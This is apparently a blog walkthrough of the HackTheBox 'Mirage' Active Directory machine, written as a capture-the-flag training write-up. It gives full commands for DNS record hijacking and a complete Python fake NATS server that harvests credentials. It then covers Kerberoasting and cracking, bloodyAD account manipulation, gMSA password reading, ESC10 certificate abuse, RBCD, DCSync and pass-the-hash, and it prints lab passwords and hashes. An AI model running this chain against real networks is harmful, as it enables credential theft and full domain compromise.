HackTheBox Mirage Walkthrough

insidepwninsidepwn
8 min read

This was a hard active directory windows machine , but it wasn’t somewhere around insane lol ! We got no credentials and ntlm was also disabled .

💡
This machine has some vpn issues , so if you get some error that aren’t meant to be try restarting the system or vpn.

Initial Enumeration

The nmap scan we get :-

we got two domain dc01.mirage.htb & mirage.htb add both of them in host lists.

but one unusual port we get is 4222 port the NATS service

now we further enumerate and see that NTLM is also disabled

Foothold and user.txt

so i further enumerated and did this showmount to see NFS

and found this directory accessible to everyone so now we will mount it into our system

sudo mount -t nfs 10.10.11.78:/MirageReports /mnt
sudo cp /mnt/Incident_Report_Missing_DNS_Record_nats-svc.pdf /path/where/to/store
sudo cp /mnt/Mirage_Authentication_Hardening_Report.pdf /path/where/to/store
💡
now in your file viewer you can view these pdfs if you see unable to open account use this command
sudo chown <your_user>:<your_user> Incident_Report_Missing_DNS_Record_nats-svc.pdf Mirage_Authentication_Hardening_Report.pdf

now we will see what these pdfs will tell us

  • NTLM is disabled so switch to kerberos

  • nats-svc.mirage.htb this hostname is unable to reach out and its dns record is missing too

First we will modify our /etc/krb5.conf

sudo nano /etc/krb5.conf

GNU nano 8.4                                                 /etc/krb5.conf                                                           
[libdefaults]
        default_realm = MIRAGE.HTB

# The following krb5.conf variables are only for MIT Kerberos.
        kdc_timesync = 1
        ccache_type = 4
        forwardable = true
        proxiable = true
        rdns = false


# The following libdefaults parameters are only for Heimdal Kerberos.
        fcc-mit-ticketflags = true

[realms]
        MIRAGE.HTB = {
                kdc = 10.10.11.78
                admin_server = 10.10.11.78
        }

Now we will move towards dns hijacking first we will create a file called dnsupdate.txt and these are contents of this file

server 10.10.11.78
zone mirage.htb
update delete nats-svc.mirage.htb A
update add nats-svc.mirage.htb 60 A <YOUR_IP>
send

also make another file to listen and then respond back to act as legitimate server to receive data

make a file called listen.py , then put these contents in this

#!/usr/bin/env python3

import socket
import threading
import time
from datetime import datetime
import json
import base64

class FakeNATSServer:
    def __init__(self, host='0.0.0.0', port=4222):
        self.host = host
        self.port = port
        self.running = False
        self.clients = []

    def log(self, message):
        timestamp = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
        print(f"[{timestamp}] {message}")

    def handle_client(self, client_socket, client_address):
        self.log(f"New connection from {client_address[0]}:{client_address[1]}")

        try:
            # Send NATS server info message (mimicking real NATS server)
            info_msg = {
                "server_id": "fake-nats-server",
                "version": "2.9.0",
                "proto": 1,
                "host": "0.0.0.0",
                "port": 4222,
                "max_payload": 1048576,
                "client_id": len(self.clients)
            }
            info_line = f"INFO {json.dumps(info_msg)}\r\n"
            client_socket.send(info_line.encode())
            self.log(f"Sent INFO: {info_line.strip()}")

            while self.running:
                try:
                    # Receive data from client
                    data = client_socket.recv(4096)
                    if not data:
                        break

                    message = data.decode('utf-8', errors='ignore').strip()
                    self.log(f"RECEIVED from {client_address[0]}: {repr(message)}")

                    # Parse different NATS protocol messages
                    lines = message.split('\r\n')
                    for line in lines:
                        if not line:
                            continue

                        self.parse_nats_message(line, client_address)

                    # Send acknowledgment for any message
                    response = "+OK\r\n"
                    client_socket.send(response.encode())

                except socket.timeout:
                    continue
                except Exception as e:
                    self.log(f"Error handling client {client_address}: {str(e)}")
                    break

        except Exception as e:
            self.log(f"Connection error with {client_address}: {str(e)}")
        finally:
            self.log(f"Connection closed: {client_address[0]}:{client_address[1]}")
            client_socket.close()
            if client_socket in self.clients:
                self.clients.remove(client_socket)

    def parse_nats_message(self, line, client_address):
        """Parse and log different types of NATS messages"""
        parts = line.split(' ', 1)
        if not parts:
            return

        command = parts[0].upper()

        if command == 'CONNECT':
            # CONNECT message contains client info and potentially credentials
            try:
                json_part = parts[1] if len(parts) > 1 else '{}'
                connect_info = json.loads(json_part)
                self.log(f"🔐 CONNECT from {client_address[0]}: {json.dumps(connect_info, indent=2)}")

                # Look for credentials
                if 'user' in connect_info:
                    self.log(f"🎯 USERNAME CAPTURED: {connect_info['user']}")
                if 'pass' in connect_info:
                    self.log(f"🎯 PASSWORD CAPTURED: {connect_info['pass']}")
                if 'auth_token' in connect_info:
                    self.log(f"🎯 TOKEN CAPTURED: {connect_info['auth_token']}")
                if 'sig' in connect_info:
                    self.log(f"🎯 SIGNATURE CAPTURED: {connect_info['sig']}")
                if 'jwt' in connect_info:
                    self.log(f"🎯 JWT TOKEN CAPTURED: {connect_info['jwt']}")

            except json.JSONDecodeError as e:
                self.log(f"CONNECT (JSON parse error): {line}")
                self.log(f"JSON Error: {str(e)}")

        elif command == 'PUB':
            self.log(f"📤 PUBLISH: {line}")

        elif command == 'SUB':
            self.log(f"📥 SUBSCRIBE: {line}")

        elif command == 'PING':
            self.log(f"🏓 PING received")

        elif command == 'PONG':
            self.log(f"🏓 PONG received")

        elif command == 'MSG':
            self.log(f"📨 MESSAGE: {line}")

        else:
            self.log(f"❓ UNKNOWN COMMAND: {line}")

    def start(self):
        """Start the fake NATS server"""
        self.running = True

        # Create socket
        server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)

        try:
            server_socket.bind((self.host, self.port))
            server_socket.listen(5)
            self.log(f"🚀 Fake NATS Server started on {self.host}:{self.port}")
            self.log("📡 Waiting for connections...")
            self.log("🎯 Ready to intercept credentials!")

            while self.running:
                try:
                    client_socket, client_address = server_socket.accept()
                    client_socket.settimeout(30)  # 30 second timeout
                    self.clients.append(client_socket)

                    # Handle each client in a separate thread
                    client_thread = threading.Thread(
                        target=self.handle_client,
                        args=(client_socket, client_address)
                    )
                    client_thread.daemon = True
                    client_thread.start()

                except socket.error as e:
                    if self.running:
                        self.log(f"Socket error: {str(e)}")

        except Exception as e:
            self.log(f"Server error: {str(e)}")
        finally:
            server_socket.close()
            self.log("Server stopped.")

    def stop(self):
        """Stop the server"""
        self.running = False
        for client in self.clients:
            client.close()

def main():
    # You can also try other common NATS ports:
    # 4222 - Default NATS port
    # 8222 - NATS monitoring port  
    # 6222 - NATS cluster port

    server = FakeNATSServer(host='0.0.0.0', port=4222)

    try:
        server.start()
    except KeyboardInterrupt:
        print("\n[+] Shutting down server...")
        server.stop()

if __name__ == "__main__":
    print("🎭 Fake NATS Server - Credential Interceptor")
    print("=" * 50)
    main()

so in one shell run

nsupdate dnsupdate.txt

then do this

python listen.py
💡
Do these things simultaneously

2025-07-20 🎯 USERNAME CAPTURED: Dev_Account_A
2025-07-20 🎯 PASSWORD CAPTURED: hx5h7F5554fP@1337!

These are not the passwords for active directory account its for NATS Serivce , so we will exploit this further

nats --server nats://mirage.htb:4222 rtt --user Dev_Account_A --password 'hx5h7F5554fP@1337!'
nats stream ls --server nats://mirage.htb:4222 --user Dev_Account_A --password 'hx5h7F5554fP@1337!'
nats consumer add auth_logs reader --pull --server nats://mirage.htb:4222 --user Dev_Account_A --password 'hx5h7F5554fP@1337!'
nats consumer next auth_logs reader --count=5 --server nats://mirage.htb:4222 --user Dev_Account_A --password 'hx5h7F5554fP@1337!'
💡
Don’t run the above commands in root(sudo)
  • So the first ask NATS Service to show us a list of all message boxes

  • Then we create create a sort of mailbox( consumer ) called reader

  • Then pull the last 5 message using consumer form auth_logs

    Now this is the first user we got foothold.

david.jjackson
pN8kQmn6b86!1234@

With the help of these credentials we run bloodhound

bloodhound-python -d mirage.htb -ns 10.10.11.78 -u 'david.jjackson' -p 'pN8kQmn6b86!1234@' -c All --zip

and checking the bloodhound i see

Lets move on to kerberoast this account , but first lets get tgt of account david.jjackson then kerberoast it

impacket-getTGT mirage.htb/david.jjackson:'pN8kQmn6b86!1234@'
export KRB5CCNAME=david.jjackson.ccache
impacket-GetUserSPNs -k -no-pass -dc-host dc01.mirage.htb mirage.htb/ -request

paste this hash into a file “nathan_hash.txt” then crack it using john

john nathan_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

Now we will evil-winrm into nathan.aadam account

impacket-getTGT mirage.htb/nathan.aadam:'3edc#EDC3'
export KRB5CCNAME=nathan.aadam.ccache
evil-winrm -i dc01.mirage.htb -r mirage.htb

Privilege Escalation and root.txt

So with the shell of nathan.aadam i ran winPEASx64.exe and found something interesting

Further I enumerate this user in bloodhound i found out that this user has password change right on javier.mmarshall

Further i saw that this account javier.mmarshall was disbaled

more over in ldapsearch it was found that the logonHours was set in such a way that user wasn’t allowed to login anytime

So to overcome these hurdles i used these commands

bloodyAD --host dc01.mirage.htb -d mirage.htb -u 'mark.bbond' -p '1day@atime' -k set object javier.mmarshall userAccountControl -v 512
bloodyAD --host dc01.mirage.htb -d mirage.htb -u 'mark.bbond' -p '1day@atime' -k set object javier.mmarshall logonHours
bloodyAD --host dc01.mirage.htb -d mirage.htb -u 'mark.bbond' -p '1day@atime' -k set password javier.mmarshall 'Password123@'
💡
Use latest bloodyAD version (some of you might require to run in env python3)

further this user also has a right on a computer Mirage-Service$ to read gmsa password

To get the hashes use this

bloodyAD -k --host dc01.mirage.htb -d 'mirage.htb' -u 'javier.mmarshall' -p 'Password123@' get object 'Mirage-Service$' --attr msDS-ManagedPassword

Also then got a tgt for the computer account

impacket-getTGT mirage.htb/Mirage-Service\$ -hashes :305806d84f7c1be93a07aaf40f0c7866

After this i did some enumeration but didn’t find anything but after some deep enumeration i found this

So, 0x4 means "map using AltSecurityIdentities field", which is weak and vulnerable to abuse. So it was ESC10 abuse of weak certificate mapping (Schannel-based) attack To abuse this I did the following:-

  1. UPN Manipulation

     export KRB5CCNAME=Mirage-Service\$.ccache
     certipy-ad account update \
       -user 'mark.bbond' \
       -upn 'dc01$@mirage.htb' \
       -u 'mirage-service$@mirage.htb' \
       -k -no-pass \
       -dc-ip 10.10.11.78 \
       -target dc01.mirage.htb
    
  2. Certificate Enrollment

     impacket-getTGT mirage.htb/mark.bbond:'1day@atime'
     export KRB5CCNAME=mark.bbond.ccache
     certipy-ad req \
       -u 'mark.bbond@mirage.htb' \
       -k -no-pass \
       -dc-ip 10.10.11.78 \
       -target 'dc01.mirage.htb' \
       -ca 'mirage-DC01-CA' \
       -template 'User'
    
  3. UPN Reversion

     export KRB5CCNAME=Mirage-Service\$.ccache
     certipy-ad account update \
       -user 'mark.bbond' \
       -upn 'mark.bbond@mirage.htb' \
       -u 'mirage-service$@mirage.htb' \
       -k -no-pass \
       -dc-ip 10.10.11.78 \
       -target dc01.mirage.htb
    
  4. Schannel Authentication & Impersonation

     certipy-ad auth -pfx dc01.pfx -dc-ip 10.10.11.78 -ldap-shell
    

    then in shell type

     set_rbcd dc01$ Mirage-Service$
    

By these ways we have allowed Resource Based Constraint Delegation attack to Mirage-Service$ . To abuse further we use :

impacket-getST -spn 'cifs/DC01.mirage.htb' -impersonate 'dc01$' -dc-ip 10.10.11.78  'mirage.htb/Mirage-Service$' -hashes :305806d84f7c1be93a07aaf40f0c7866
export KRB5CCNAME='dc01$@cifs_DC01.mirage.htb@MIRAGE.HTB.ccache'
impacket-secretsdump -k -no-pass -dc-ip 10.10.11.78 dc01.mirage.htb

We attacked as dc01$ got its tgt then did DCSync Attack

To get administrator shell do this

impacket-getTGT mirage.htb/administrator -hashes aad3b435b51404eeaad3b435b51404ee:7be6d4f3c2b9c0e3560f5a29eeb1afb3
export KRB5CCNAME=administrator.ccache
evil-winrm -i dc01.mirage.htb -r mirage.htb

and BOOM!! we got root.txt

This is it for the machine

Thanks for reading the walkthrough. Hope you like it ! Do leave a comment for feedback or queries !!

10
Subscribe to my newsletter

Read articles from insidepwn directly inside your inbox. Subscribe to the newsletter, and don't miss out.

Written by

insidepwn
insidepwn